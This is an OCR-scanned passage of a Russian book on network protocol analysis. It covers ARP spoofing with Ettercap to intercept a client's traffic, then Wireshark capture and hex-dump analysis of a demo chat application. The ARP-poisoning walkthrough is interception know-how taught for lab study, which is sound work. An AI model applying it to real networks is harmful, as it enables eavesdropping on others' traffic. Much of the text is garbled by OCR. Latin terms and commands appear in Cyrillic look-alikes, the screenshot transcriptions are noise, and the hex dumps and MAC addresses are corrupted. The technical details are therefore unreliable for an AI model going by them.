2 һоѕіѕ аде ќо {ће һоѕіѕ ет... | 


Рис. 4.11. Список обнаруженных хостов 
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Как видно на рис. 4.11, мы обнаружили два хоста. В данном слу- 
чае один из них - это клиентский узел, который вы хотите пе- 
рехватить и который находится по адресу 192.168.100.1 с МАС- 
адресом 08: 00: 27: 33: 81: 64. Другой узел - это шлюз в интернет 
по адресу192.168.100.10 с МАС-адресом 08: 00: 27: 68: 95: сз. 
Скорее всего, вы уже знаете ІР-адреса, настроенные для каждого 
сетевого устройства, поэтому можете определить, где локальная 
машина, а где - удаленная. 


4. Выберите свои цели. Выберите один из хостов из списка и на- 
жмите Ааа їо Тагееѓ 1; выберите другой хост, который хотите 
«отравить», и нажмите АЯ то Тагееї 2. (Цель 1 и цель 2 исполь- 
зуются, чтобы различать клиента и шлюз.) Это должно обеспе- 
чить односторонний АКР-спуфинг, при котором перенаправля- 
ются только данные, отправленные с цели 1 на цель 2. 


5. Начните спуфинг, выбрав Міт -› АВР роіѕопіпе. Должно по- 
явиться диалоговое окно. Примите значения по умолчанию 
и нажмите ОК. ЕЦегсар должен попытаться отравить кеш АВР 
выбранных вами целей. Возможно, это сработает не сразу, пото- 
му что кеш АВР должен обновиться. Если все прошло успешно, 
то клиентский узел должен выглядеть примерно так, как пока- 
зано на рис. 4.12. 


Тегтіпа! (аз ѕирегиѕег) = М = 


Ре Ед \Мем Ѕеагсһ Тегтпа Не 
гост @спа\К : /Поте/фугап19# агр -п 


Ааагеѕѕ НАуре НмМааагеѕѕ Е1адѕ Маѕк ТТасе 
192.168.100.5 еїһег 08:00:27:08:ас:еб С еїһо 
192.168.100.10 еїһег 08:00:27:08:4с:еб С еїһо 


гооїё@сһа1к : /Һоте/+угапід# 


Рис. 4.12. Успешный АВР-спуфинг 


На рис. 4.12 показано, что маршрутизатор был «отравлен» по ІР- 
адресу 192.168.100.10, МАС-адрес которого был изменен на МАС-адрес 
прокси-сервера 08: 00: 27: 08: ас: еб. (Для сравнения см. соответствую- 
щую запись на рис. 4.11.) Теперь любой трафик, отправляемый от 
клиента к маршрутизатору, будет отправляться на прокси (показано 
с помощью МАС-адреса 192.168.100.5). Прокси-сервер может перена- 
править трафик по нужному адресу назначения после его перехвата 
или модификации. 

Одно из преимуществ АКР-спуфинга по сравнению с ОНСР-спу- 
фингом заключается в том, что вы можете перенаправить узлы в ло- 
кальной сети для обмена данными со своим шлюзом, даже если адрес 
назначения находится в локальной сети. При АВР-спуфинге не обя- 
зательно «отравлять» соединение между узлом и внешним шлюзом, 
если вы этого не хотите. 
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Заключительное слово 


В этой главе вы узнали несколько дополнительных способов перехва- 
та и изменения трафика между клиентом и сервером. Я начал с опи- 
сания того, как настроить вашу операционную систему в качестве 
Р-шлюза, потому что если вы можете перенаправлять трафик через 
собственный шлюз, у вас есть ряд доступных методов. 

Конечно, не всегда просто заставить устройство отправлять тра- 
фик на свое устройство для перехвата, поэтому использование таких 
методов, как ОНСР-спуфинг или «отравление» АВР, важно для обес- 
печения того, чтобы трафик отправлялся на ваше устройство, а не 
напрямую в интернет. К счастью, как уже было показано, для этого 
не нужны специальные инструменты; все необходимые инструменты 
либо уже включены в вашу операционную систему (особенно если вы 
работаете в Шпих), либо их легко можно скачать. 


АНАЛИЗ НА ПРАКТИКЕ 


главе 2 мы обсуждали, как перехватывать сетевой трафик для 
анализа. Пришло время проверить эти знания. В этой главе мы 
рассмотрим, как проанализировать перехваченный трафик 
сетевого протокола из приложения для чатов, чтобы понять, какой 
протокол используется. Если вы можете определить, какие функции 
поддерживает протокол, то можете оценить его безопасность. 
Анализ неизвестного протокола обычно является инкрементным. 
Вы начинаете с захвата сетевого трафика, а затем анализируете его, 
чтобы попытаться понять, что представляет собой каждая его часть. 
В этой главе я покажу вам, как использовать Мігеѕћагк и собственный 
код для проверки неизвестного сетевого протокола. Наш подход будет 
включать извлечение структур и информацию о состоянии. 


Приложение для генерирования трафика: 
ЅирегЕипКкусСһаї 


Объектом тестирования данной главы является написанное мною 
на С# чат-приложение под названием ЅирегЕипкуСһаї, которое бу- 
дет работать в Міпӣомѕ, Шпих и тасО5. Скачайте последние готовые 
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приложения и исходный код на странице ћр5;//9/іһир.сот/Лугапіа/Ех- 
атріеСһаѓАрріісаііоп/геІеаѕеѕ/; обязательно выберите бинарные файлы 
выпуска, подходящие для вашей платформы. (Если вы используете 
Мопо, то выберите версию .МЕТ и т. д.) Примеры клиентского и сер- 
верного консольного приложений для ЅирегЕипкуСһаї называются 
СҺаїС1іепѓ и СһаїЅегуег. 

После того как вы скачали приложение, распакуйте файлы выпуска 
в каталог у себя на компьютере, чтобы вы могли запускать каждое 
приложение. Для простоты во всех примерах командных строк будут 
использоваться исполняемые двоичные файлы Міпаомѕ. Если вы ра- 
ботаете в Мопо, укажите в начале команды путь к основному двоич- 
ному файлу топо. При запуске файлов для .МЕТ Соге укажите в начале 
команды двоичный файл аотее. Файлы для .МЕТ будут иметь расши- 
рение .11 вместо .ехе. 


Запуск сервера 


Запустите сервер, запустив файл СһаѓЅегуег.ехе без параметров. В слу- 
чае успеха будет выведена некая базовая информация, как показано 
в листинге 5.1. 


Листинг 5.1. Пример вывода при запуске СһаїЅегуег 


С:\ЅирегЕипкуСһаї> СһаЁЅегмег .ехе 

СһаЅегуег (с) 2017 Јатеѕ Ғогѕһам 

МААМІМС: Ооп 'Є изе Ёһіѕ Ғог а геа1 сһаї ѕуѕёет! !! 
Виппіпд ѕегуег оп рог 12345 С1оБа1 Віпа Ға1ѕе 


ИРЕТИ Обратите внимание на предупреждение! Данное при- 
ложение не предназначено для использования в качестве безопасной 
чат-системы. 


Обратите внимание, что в листинге 5.1 в последней строке указан 
порт, на котором работает сервер (в данном случае 12345), и показано, 
привязан ли сервер ко всем интерфейсам (е1оБа]). Возможно, вам не 
нужно будет менять порт (- -рогі №М), но, вероятно, потребуется из- 
менить параметр привязки приложения ко всем интерфейсам, если 
вы хотите, чтобы клиенты и сервер находились на разных компьюте- 
рах, что особенно важно в Міпаомгѕ. Нелегко перехватывать трафик, 
идущий на локальный хост в Міпаомѕ; если у вас возникнут труд- 
ности, необходимо запустить сервер на отдельном компьютере или 
виртуальной машине. Для привязки ко всем интерфейсам укажите 
параметр - -91оБа1. 


Запуск клиентов 


Когда сервер будет запущен, можно запустить одного или нескольких 
клиентов. Для этого запустите файл СћаѓСііепі.ехе (листинг 5.2), ука- 
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жите имя пользователя, которое вы хотите использовать на сервере 
(имя пользователя может быть любым), и имя хоста сервера (напри- 
мер, 1осао$0). Когда вы запустите клиента, то должны увидеть вывод, 
подобный тому, что показан в листинге 5.2. Если вы видите ошибки, 
убедитесь, что вы правильно настроили сервер, включая необходи- 
мость привязки ко всем интерфейсам или отключение брандмауэра 
на сервере. 


Листинг 5.2. Пример вывода при запуске СһаїСііепі 


С:\ЅирегЕипкуСһаё> СпаеСАепе.ехе И5ЕВМАМЕ НОЅТМАМЕ 
СһаЄС1ліепё (с) 2017 Јатеѕ Ғогѕһам 

МААМІМС: Ооп 'Ё изе һіѕ Ғог а геа1 сһаї ѕуѕёет!!! 
Соппесіпд Ёо 1оса1ћоѕ: 12345 


При запуске клиента посмотрите на работающий сервер: вы долж- 
ны увидеть вывод на консоли, как в листинге 5.3. Это указывает на то, 
что клиент успешно отправил пакет «НеПо». 


Листинг 5.3. Вывод сервера при подключении клиента 


Соппес оп Ёгом 127.0.0.1:49825 
Весеіуей раскеї СһаРгоёосо1 .Не11оРгоёосо1Раскеї 
Не\Ло Раскеё Ғог Џѕег: а\ісе НоѕЕМате: Богах 


Обмен данными между клиентами 


После того как вы успешно выполнили предыдущие шаги, то можете 
подключить несколько клиентов, чтобы обеспечить обмен данными 
между ними. Чтобы отправить сообщение всем пользователям с по- 
мощью СһаїС!іепі, введите сообщение в командной строке и нажмите 
клавишу Ещег. 

СһаїС1іепі также поддерживает ряд других команд. Все они начина- 
ются с символа косой черты (/), как показано в табл. 5.1. 


Таблица 5.1. Команды приложения СһаїСіепі 


Команда Описание 

[ауле [пеззаде] Выйти с необязательным сообщением 

[159 иѕег теѕѕаде Отправить сообщение конкретному пользователю 
$ Перечислить других пользователей системы 
/ће1р Вывести справочную информацию 


Теперь вы готовы генерировать трафик между клиентами Ѕирег- 
ЕипкуСћаї и сервером. Начнем наш анализ с перехвата и проверки 
трафика с помощью Мїігеѕһагк. 
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Экспресс-курс анализа с помощью Мігеѕћагк 


В главе 2 я познакомил вас с Мігеѕһагк, но не стал вдаваться в подроб- 
ности того, как использовать его для анализа, а не просто для перехва- 
та трафика. Поскольку МігеѕћагКк – очень мощный и всеобъемлющий 
инструмент, здесь я лишь вкратце расскажу о его функциях. Когда вы 
впервые запускаете МігеѕһагКк в Міпаомѕ, то должны увидеть окно, 
подобное тому, что показано на рис. 5.1. 


Ж тһе Улгеѕһагк Мебмогк Апаіугег — х 
Ее ЕЧи Міем бо Сарїшге Апауге Ѕќайѕіїсѕ Теіерһопу \М/геез$ Тоо5 Нер 
7 № №55) яе += =. = ЕЕ 
Я [Арру а @їѕріау Нег... <Сій-/> ЕЗ -) Ехргеѕѕіоп... + 
Меісоте ќо МИгезрагк 
Сарќёиге 


„иѕіпо ћіѕ Ёќег: (Й |Епіег а саршге ег 


Віиеќоофћ Мебмогк Соппесіоп 
МігіџаІВох Ноѕі-Опіу Меімогк #2 


Іеагп 
Оѕег'ѕ сш4е · ММК! · ОФиеѕііопѕ апа Апѕмегѕ · Майіпд 1155 
Үоџ аге гиппіпо МігеѕћагК 2.2.7 (%2.2.7-0-91861а96). Үои гесеме аиіотайс ирдае5. 


7 Веаду {о 1юад ог сариге. № Раскеіѕ | РгоНе: Бега 


Рис. 5.1. Главное окно Мігеѕһагк в ИИптаом/5 


Главное окно позволяет выбрать интерфейс для перехвата трафи- 
ка. Чтобы обеспечить перехват только того трафика, который мы хо- 
тим проанализировать, необходимо настроить некоторые параметры 
в интерфейсе. Выберите Сартаге > Оріопѕ из меню. На рис. 5.2 пока- 
зано открывшееся диалоговое окно с параметрами. 

Выберите сетевой интерфейс, с которого вы хотите перехватывать 
трафик ®. Поскольку мы используем Міпӣомѕ, выберите Госа1 Агеа 
СоппесНоп (Подключение по локальной сети). Это наше основное со- 
единение Еегпеї; перехватывать трафик с локального хоста не так 
просто. После этого установите фильтр перехвата Ө. В данном случае 
мы указали ір һоѕї 192.168.10.102, чтобы ограничиться трафиком, 
идущим на ІР-адрес 192.168.10.102 или от него. (ІР-адрес, который мы 
используем, - это адрес сервера чата. Измените ІР-адрес в соответ- 
ствии со своей конфигурацией.) Нажмите кнопку За" (Пуск), чтобы 
приступить к перехвату трафика. 
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Я \геѕһагк - Сарішге Іпіегѓасеѕ ? х 


Іприё ОШрш ОрНоп$ 


Іпќегѓасе Тга с ИпК-ауег Неааег Ргогпіѕсиоиѕ 51 
> оса! Агеа Соппесіоп@ т Еегпе! М ае 
> Віџеѓооїћ Мемо Соппесіоп Еһегпеї У ае 
> \МциаВох Ноѕі-Опіу Међуогк #2 Еһегпеї У ае 
<< > 
| ЕпаЫе рготіѕсиоиѕ тойе оп аі! {еасез Мападе Іпѓегѓасесѕ... 
Саріџге ЯКег Гог зе ед іпїегѓасеѕ: С їр һоѕї 192.168.10.102 [2] ва -) Сотрйе ВРЕз 
За ое Неір 


Рис. 5.2. Диалоговое окно ИИгезрагк Саріиге Іпїегўасеѕ 


Генерация сетевого трафика и перехват пакетов 


Основной подход к анализу пакетов – генерировать как можно боль- 
ше трафика из целевого приложения, чтобы повысить свои шансы 
найти различные структуры протокола. Например, в листинге 5.4 по- 
казан сеанс в СһаїС!іепї для пользователя асе. 


Листинг 5.4. Сеанс СһаїСі/епі для пользователя а! ісе 


а1ісе - 5еѕ51оп 

Нео Тћеге! 

БоБ: Т'\е јиѕї јоіпеа Ргом Богах 

БоБ: Ном аге уои? 

БоБ: Тһіѕ 15 пісе іѕп'Ё 14? 

БоБ: Моо 

Ѕегмег: 'БоБ' Ваз ди, &һеу ѕаій 'І'т доіпд амау пом! ' 
БоБ: Т'\е јиѕї јоіпеа Ргом Богах 

БоБ: ВасК адаіп Ғог апоЁһег гоџпӣ. 

Ѕегмег: 'БоБ' Ваз диі&, &һеу ѕаіа 'Море! ' 

[чі 

Ѕегмег: роп'Ё 1е {Ве оог һіЁ уоџ оп {Ве мау ои! 


лм лл лл лл лл У ж 


В листингах 5.5 и 5.6 показаны два сеанса для пользователя БоБ. 


Листинг 5.5. Первый сеанс СһаїС!іепі для пользователя БоБ 


# БоБ - Ѕеѕѕіоп 1 

> Ном аге уоџ? 

> Тһіѕ 15 пісе іѕп'Ё 14? 
> [1154 

< Џѕег [15% 

< асе - Богах 
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> /тѕ9 асе Моо 
> [ЧЕ 
< бегуег: роп'Ё 1еф {Ве оог һіЁ уоџ оп {Ве мау оц! 


Листинг 5.6. Второй сеанс СраСИепЕ для пользователя БоБ 


# БоБ - Ѕеѕѕіоп 2 

> ВасК адаіп Ғог апоЁһћег гоџпа. 

> [91 №ре! 

< бегуег: роп'Ё Теф {Ве оог һіЁ уоџ оп {Ве мау оц! 


Мы запускаем два сеанса для пользователя БоБ, чтобы можно было 
перехватить любое событие подключения или отключения, которые 
могут происходить только между сеансами. В каждом сеансе угловая 
скобка, направленная вправо (>), указывает команду для входа в Сһаї- 
Сіепї, а угловая скобка, направленная влево (<), указывает на то, что 
ответы сервера пишутся в консоль. Вы можете выполнить команды 
для клиента для каждого из этих перехватов, чтобы воспроизвести 
остальные результаты из этой главы для анализа. 

Теперь обратимся к Мігеѕһагк. Если вы правильно настроили Міге- 
ѕһагКк и привязали его к правильному интерфейсу, то должны увидеть 
захваченные пакеты, как показано на рис. 5.3. 


И Сарішгіпо гот оса! Агеа Соппесіїоп (р һо 192.168.10.102) е О х 


Ее Еай \Мем бо Саріше Апаіуге Ѕіаііѕіїсѕ Теіерһопу \\Мее55 Тоо5 Нар 


«Шао ма <З+ю=зз = ЕЁ адаа 


М [Арру а дїѕріау ПКег ... <Сіпі-/> 23 -) Ехргеѕѕіоп.. + 
№. те бошгсе Ое5{пабоп Ргоќос Гепа! Іпѓо ^ 
10.000000 192.168.10.106 192.168.10.102 ТСР 66 6840 > 12345 [5ҮМ] Ѕед=Ө Мі... 

3 0.004952 192.168.10.106 192.168.10.102 ТСР 54 6840 > 12345 [АСК] Ѕед=1 Ас... 

4 0.010268 192.168.10.106 192.168.10.102 ТСР 58 6840 > 12345 [РЅН, АСК] Ѕед... 

5 0.015616 192.168.10.106 192.168.10.102 ТСР 58 6840 > 12345 [РЅН, АСК] Ѕед... 
60.015643 192.168.10.106 192.168.10.102 ТСР 58 6840 > 12345 [Р5Н, АСК] Ѕед... 

7 8.015662 192.168.10.106 192.168.10.102 ТСР 55 6840 > 12345 [Р5Н, АСК] Ѕед... 

я а ол5697 192 169 ла лак ___ 197 159 1а 127 тср да кяла_> 193л5 Грсы _лси1 саа“ 


> Егате 1: 66 Буфез оп міге (528 614$), 66 Буфез сарфиге (528 614$) оп іпёегҒасе Ө 
> ЕЖПегпее ІІ, Ѕгс: ре11 6с:78:8е (5с:Ғ9:11:6с:78:8е), 051: М1сгозо+_49:65:е7 (28:18:78:49:05:е7) 
> Іпёегпе+ Ргоёосо1 Мегѕіоп 4, $гс: 192.168.10.106, 05+: 192.168.10.102 


090808 28 18 78 49 Ы5 е7 5с +9 ай бс 78 8е 08 00 45 00 (.хІ..\. .1х...Е. 


0910 өө 34 04 57 40 ӨӨ 80 06 ӨӨ 00 с@ а8 Өа ба с@ а8 .4.м@... ..... == 

0920 Өа 66 1а 68 30 39 56 56 80 90 ӨӨ ӨӨ 00 @Ә 89 02 .Ғ..Ө9М[ ........ 

0930 Ға +0 96 47 ӨӨ ӨӨ 02 04 05 54 91 ӨЗ ӨЗ 08 01 01 ...6.... ........ 

0949 04 02 .. 

© 2 тюса Агеа Соппесіоп: <Їїуе сарќшге іп ргодгеѕѕ> | раскеіѕ: 126 - Оіѕріауеа: 126 (100.0%) | Ргойе: Оеѓаші 


Рис. 5.3. Перехваченный трафик в Иігеѕһагк 


После запуска примеров сеансов остановите перехват, щелкнув по 
кнопке 8їор (Стоп) (обведена), и при желании сохраните пакеты для 
дальнейшего использования. 


Базовый анализ 


Посмотрим на трафик, который мы перехватили. Чтобы получить об- 
зор обмена данными, произошедшего во время перехвата, выберите 
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один из вариантов в меню Ѕіаїіѕіісѕ (Статистика). Например, выбе- 
рите За $ с$ > СопуегзаНоп$ - и увидите новое окно, в котором 
отображаются, например, сеансы ТСР, как показано в окне Сопуегза- 
Чоп$ на рис. 5.4. 


& М/гезВагК - Сопмегѕайопѕ - уігеѕһагк 7САС8АВб-Ғ908-4ВЕВ-8рАЮ-80373036ЕА84 2017070515... — х 


Еее · 3 1ру4 `3 ТРуб `1 ТСР `3 Орр 2 | 


Ааагеѕѕ5 А  РопА Аддгезѕ=В РопнВ Раскеіѕ Вуез РаскеіѕА – В ВуіеѕА – В Раскеіѕ В – А Вуіеѕ В – А 

192.168.10.102 12345 192.168.10.106 6840 63 3956 28 1972 35 19; 

192.168.10.102 12345 192.168.10.106 6841 37 2328 17 1082 20 12 

192.168.10.102 12345 192.168.10.106 6842 22 1393 10 648 12 А 
| 

< > 

Мате геѕоіийоп Иті о аіѕріау ЯКег АБзоще ѕќагі йге [Сопмегзавот Турез Е 


Сору ч РоПомг Ѕігеат.... Сгарћ.... нар 


Рис. 5.4. Окно Сопуегѕаїіопѕ 


В этом окне в перехваченном трафике отображаются три отдельных 
сеанса ТСР. Мы знаем, что клиентское приложение ЗирегЕипкуСвае 
использует порт 12345, потому что мы видим три отдельных сеанса 
ТСР, поступающих с этого порта. Эти сеансы должны соответствовать 
трем клиентским сеансам, показанным в листингах 5.4, 5.5 И 5.6. 


Чтение содержимого ТСР-сеанса 


Чтобы просмотреть перехваченный трафик для отдельного сеанса, 
выберите один из сеансов в окне Сопуегѕаїіопѕ и нажмите кноп- 
ку ЕоПом Ѕїгеат (Следовать за потоком). Должно появиться новое 
окно, отображающее содержимое потока в виде текста, как показано 


на рис. 5.5. 

Я \МгеВагК - Ройоми ТСР Ѕігеат (ќср.ѕігеат ед 0) - ехатр!е_сопуегзаНопз_2 = х 
ВІМХ. 
Оса се омуХИ Е Е 26:5 ?..а11се.Не11о ТНеге!...$...3..Бо6.Т'\уе из 
јоіпеа гот изег-Бох.......... БоБ.Ном аге уои?.......... БоЫ.Тһіѕ 1$ пісе іѕп'& 
ЧЕ... 9. 506. №00..-8....-- Ѕегуег/ 'боб' паз ди1+, +Неу ѕаіа 'І'т Бо1п8 амау 
пом!'...$...3..Б06.Т'\ме јиѕ+ јоіпей гот изег-Бох...#...... боь.Васк аваіп ог 
апофНег гоипа....*.. 

Т. .Зегуег!'Боб' паз аиі+, +һеу ѕаіа '№оре!'.......... Т'т ЕО1пЕ амау 

а - *Роп'+ Іеї +һе доог һі+ уои оп +һе мау оц*! 

Расќеѓ 76. 15 сіепі рќіѕ, 23 зегиег рќїѕ, 7 {итз. СИск ѓо ѕе/есі. 

Епіге сопуегѕаіоп (468 Буѓеѕ) “ Ѕһом апа 5ауе даа аѕ АЅСІ - (1) Энеат |0 $ 

АКег Оиё Тһіѕ Ѕігеапт РгіпЕ Ѕауе а5... Васк Сіоѕе Неір 


Рис. 5.5. Отображение содержимого ТСР-сеанса в представлении їгеѕһагк ЕоЦом 
ТСР $ігеат 
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Үігеѕһагк заменяет данные, которые нельзя представить в виде 
символов АЅСП, точками, но даже при такой замене ясно, что ббль- 
шая часть данных отправляется в виде обычного текста. Тем не менее 
данный сетевой протокол явно не является исключительно тексто- 
вым, поскольку управляющая информация для данных представляет 
собой непечатаемые символы. Единственная причина, по которой мы 
видим текст, заключается в том, что основная цель ЅирегЕипКкуСћаї – 
отправлять текстовые сообщения. 

Үігеѕһагк показывает входящий и исходящий трафики в сеансе, 
используя для этого разные цвета: розовый цвет для исходящего тра- 
фика и синий - для входящего. В ТСР-сеансе исходящий трафик идет 
от клиента, который инициировал сеанс, а входящий трафик - от ТСР- 
сервера. Поскольку мы перехватили весь трафик, идущий на сервер, 
посмотрим на другой сеанс. Чтобы изменить его, измените номер 
потока ® на рис. 5.5 на 1. Теперь вы должны увидеть другой сеанс, 
например тот, что показан на рис. 5.6. 


| Муігеѕһагк - ҒоПом ТСР Ѕігеат (ёср.ѕігеат ед 1) - ехатріе сопуегѕайопѕ 2 = х 
| Вии 5-05: ЦВЕ БОХ Е-е БоБ.Ном аге уоц?.......... Боь. ТВ $ 
|1$ пісе іѕп'& 

|БАТА с ни а1ісе.ОМҮХ....... ултаїісез т БОБОЕВ І'т вроіпе 
|амау пом! ...,..... *Роп'+ 1е+ һе доог 1+ уои оп +һе мау ои! 

14 сїепё рќї5, 8 вегиег рії, 9 шт. 

Епіге сопуегѕайоп (240 Буѓеѕ) 4 Ѕһом апа ѕауе даа а5 |А5СП ~ Ѕітеат |1 & 
Нпа: Ніпа №ж 


АКег Ои Тһіѕ Ѕігеат Ргіпё бауе ас... Сіоѕе Неір 


Рис. 5.6. Второй ТСР-сеанс от другого клиента 


Сравните оба рисунка; вы увидите, что детали этих двух сеансов раз- 
ные. Текст, отправленный клиентом (на рис. 5.6), например «Ном аге 
уои?», получен сервером, как показано на рис. 5.5. Далее мы попытаем- 
ся определить, что представляют собой эти двоичные части протокола. 


Определение структуры пакета с помощью 
шестнадцатеричного дампа 


На данный момент мы знаем, что наш протокол выглядит частично 
двоичным и частично текстовым. Это указывает на то, что просмотра 
одного только печатного текста недостаточно для определения всех 
структур в протоколе. 

Чтобы разобраться, для начала вернемся в представление ЕоПом 
ТСР Ѕігеат, показанное на рис. 5.5, и выберем из раскрывающегося 
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меню ЗВом/ апа зауе Дата аѕ (Показать и сохранить данные как) па- 
раметр Нех ритр (Шестнадцатеричный дамп). Теперь поток должен 
выглядеть так, как показано на рис. 5.7. 


оеоооо0е@42 49 де 58 Ө Ө втмх ^ 
ооеоеео4 өе 00 өе еа а 

ооеоеео8 өе 00 ез 55 за] 

ооееоеес өө : 

оееоееер өѕ 61 бс 69 63 65 04 4+ де 59 58 ӨӨ .а11се.0 МУХ. 


дәгевегве өе ее өе 02 5552 

вәгәгәг4 өе 00 90 01 91 99 ния 
00000019 өе өө өө 14 ЕЕЕ 
өөөөве1р өө өө 06 зғ ей 


[ееееее21 өз М 

15 сїепё рќѕ, 23 зегиег рк, 7 итп. 

Епіге сопуегѕаіоп (468 Буѓеѕ) “ Ѕһоу апа 5ауе даа аз Нех Оитр ~ Энеат /0 $ 

Апд: Апа № ж 
АКег Оиё Тһіѕ Ѕігеапт РгіпЕ бауе а5... Васк Сіоѕе Неір 


Рис. 5.7. Представление Нех Витр 


В представлении Нех ритр отображаются три колонки с информа- 
цией. Колонка в самом левом углу ® - это байтовое смещение в по- 
токе для определенного направления. Например, байт 0 - это пер- 
вый байт, отправленный в этом направлении, байт 4 – это пятый байт 
ит. д. Столбец в центре Ө показывает байты как шестнадцатеричный 
дапм. Столбец справа Ө - это представление АЅСП, которое мы виде- 
ли ранее на рис. 5.5. 


Просмотр отдельных пакетов 


Обратите внимание, что блоки байтов, показанные в центральном 
столбце на рис. 5.7, различаются по длине. Сравните это с рис. 5.6; 
вы увидите, что, кроме разделения по направлению, все данные на 
рис. 5.6 отображаются в виде одного непрерывного блока. Напротив, 
данные на рис. 5.7 могут отображаться лишь как несколько блоков 
по 4 байта, затем блок из 1 байта и, наконец, гораздо более длинный 
блок, содержащий основную группу текстовых данных. 

В МИгезвагК мы видим отдельные пакеты: каждый блок - это один 
ТСР-пакет, или сегмент, содержащий, возможно, всего 4 байта дан- 
ных. ТСР - это потоковый протокол, а это означает отсутствие реаль- 
ных границ между последовательными блоками данных при чтении 
и записи данных в сокет ТСР. Однако с физической точки зрения нет 
такого понятия, как настоящий потоковый сетевой транспортный 
протокол. Вместо этого ТСР отправляет отдельные пакеты, состоящие 
из заголовка ТСР, содержащего информацию, такую как номера пор- 
тов источника и назначения, а также данные. 

Фактически, если вернуться в главное окно УЛтезВагК, можно найти 
пакет, подтверждающий, что Мїігеѕһагк отображает отдельные ТСР- 
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пакеты. Выберите Еай - Ета РасКкеї (Изменить - Поиск пакета), 
и в главном окне появится дополнительное раскрывающееся меню, 
как показано на рис. 5.8. 


7 | ехагпр!е_сопмегзаНопз_2.рсарпд == х 


Ее Еа \Мем бо Саріше Апайуге Ѕіаїіѕіїсѕ Теіерһопу \\Мгеез$ Тооіѕ Нар 
дисез гие езе жа = Еааая 


[А [Арріу а їѕрІау ЯКег ... < ~ | Ехрге оп... + 


№. Тите боигсе Оеѕіпайоп Ргоюсо! Гепа Іпѓо ^ 


30.004952 192.168.10.1.. 192.168.10.1.. ТСР 54 6840 > 12345 [АСК] Ѕед=1 А... 
[4] 4 0.010268 192.168.10.1.. 192.168.10.1.. ТСР 58 6840 > 12345 [РЅН, АСК] 5е... 
5 0.015616 192.168.10.1.. 192.168.10.1.. ТСР 58 6840 > 12345 [РЅН, АСК] Ѕе.. | 
6 0.015643 192.168.10.1..192.168.10.1.. ТСР 58 6840 > 12345 [РЅН, АСК] 5е... 
7 @.015662 192.168.10.1..192.168.10.1... ТСР 55 6840 > 12345 [РЅН, АСК] Ѕе.. = 
8 0.015682 192.168.10.1.. 192.168.10.1.. ТСР 66 6840 > 12345 [РЅН, АСК] Ѕе.. 1“ 


> Еһегпе ІІ, Ѕгс: Ое11 6с:78:8е (5с:#9:00:6с:78:8е), 05: МісгоѕоҒ 49:65:е7 (28:18:78:49:65:е7) 
> Іпёегпе Ргофосо1 Мегѕіоп 4, $гс: 192.168.10.106, 05+: 192.168.10.102 
> Тгапѕтіѕѕіоп Сопёго1 Рпоёосо1, $гс Рогі: 6840, Ю5ї Рогі: 12345, 5ед: 1, Аск: 1, Іеп: 4 
м Баха (4 Ьу+еѕ) 
Рака: 42494е58 Ө 


[.епе&һ: 4] хэд 
0000 28 18 78 49 05 е7 5с +9 Яа бс 78 Ве 08 00 45 909 (ХТ. А: А: .-Е 
0910 00 2с 04 59 49 00 80 096 00 ӨӨ се ав @а ба се а8 А ВРТА 3:2 
0020 Өа 66 1а Ь8 30 39 56 56 80 91 11 97 26 сө 50 18 -#..09ү[ ....&.Р. 
0030 ө1 00 96 зғ өө ее ЕТТЕ: Ө ..-?. В 
© 2 Оаа (даќа.аќа), 4 Буе5 | Раскеё: 130 - Оіѕріауеа: 130 (100.0%) · Огорреа: 0 (0.0%) · Іоай те: 0:0.2] РгоНе: Оеѓаше 


Рис. 5.8. Поиск пакета в главном окне Игезвагк 


Мы найдем первое значение, показанное на рис. 5.7, строку ВІМХ. 
Для этого введите параметры поиска, как показано на рис. 5.8. Пер- 
вое поле с выпадающим списком указывает, где вести поиск. Выбе- 
рите РасКеї Бугез Ө. Во втором поле выберите Маггом’ & М/ійе. Это 
указывает на то, что вы хотите искать как строки АЗСП и Юникода. 
Также снимите флажок напротив надписи Сазе ѕепѕііуе (Учиты- 
вать регистр) и укажите, что вы хотите искать строковое значение Ө 
в третьем раскрывающемся меню. Затем введите строковое значение, 
которое мы хотим найти, в данном случае строку ВІМХ. © Наконец, 
нажмите кнопку Еіпа (Найти). Главное окно должно автоматически 
прокрутиться и выделить первый найденный МігеѕһагК пакет, содер- 
жащий строку ВТКХ. Ө В среднем окне Ө вы должны увидеть, что пакет 
содержит 4 байта, а в нижнем окне видны необработанные данные, 
которые показывают, что мы нашли строку ВІМХ. Ө Теперь мы знаем, 
что представление Нех Оитр, отображаемое Мігеѕһагк на рис. 5.8, 
представляет границы пакета, поскольку строка ВІМХ находится в соб- 
ственном пакете. 


Определение структуры протокола 


Чтобы упростить определение структуры протокола, имеет смысл 
посмотреть только на одно направление. Например, давайте просто 
посмотрим на исходящее направление (от клиента к серверу) в Міге- 
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ѕһагКк. Вернемся к представлению ЕоПом ТСР $1геат и выберем оп- 
цию Нех Биштр из раскрывающегося меню $Вом/ апа зауе Дака аз 
(Показать и сохранить данные как). Затем выберите направление 
трафика от клиента к серверу на порту 12545 из выпадающего меню 
Ө, как показано на рис. 5.9. 


Я \МгезВагК - Еоіом ТСР Ѕігеагп (ср.ѕігеагт ед 0) · ехатріе сопуегѕайопѕ 2 = х 
|өөөөөөөе 42 49 4е 58 ВІМХ ^ 
'еееееоее4 ее ее ее еа ею 

|оведвез ое өе өз 55 еШ 

вөгегвес өө а 

ооееееер өѕ 61 6с 69 63 65 04 4+ Де 59 58 909 .а11се.0 МУХ. 

00000019 өө өө өө 14 ос 

'өөоөөә1р ве ве е6 3+ пся 


!вегвеве21 ез 2 
|еөөөөө2 05 61 бс 69 63 65 Өс 48 65 бс бс 6+ 20 54 68 65 .а11се.Н е110 Тһе 


100000032 72 65 21 ге! 

15 сїепё рії, 0 ѕегег рќї5, 0 ит. 

192.168.10.106:6840 — 192.168.10.102:12345 (82 Без) ~ 1) Ѕһоу апа 5ауе даа аз Нех Оитр ~ Энеат /0 $ 

Апо: | Апа № ж 
АКег Оиё Тһіѕ Ѕігеат РгіпЕ Ѕауе а5... Васк ое Нер 


Рис. 5.9. Шестнадцатеричный дамп, показывающий только исходящее направление 


Щелкните по кнопке $ауе аз... (Сохранить как...), чтобы скопи- 
ровать шестнадцатеричный дамп исходящего трафика в текстовый 
файл для упрощения проверки. В листинге 5.7 показан небольшой 
образец этого трафика, сохраненного в виде текста. 


Листинг 5.7. Фрагмент исходящего трафика 


00000000 42 49 4е 58 ВІМХ Ө 
00000004 00 00 00 04 .... Ө 
00000008 00 00 03 55 ...0 @ 
9000000С 00 .9 

00000000 05 61 бс 69 63 65 04 44 4е 59 58 00 .а1ісе.0 М№Х.Ө 
00000019 00 00 00 14 Р 

00000010 00 00 06 ЗҒ 252 


00000021 03 я 

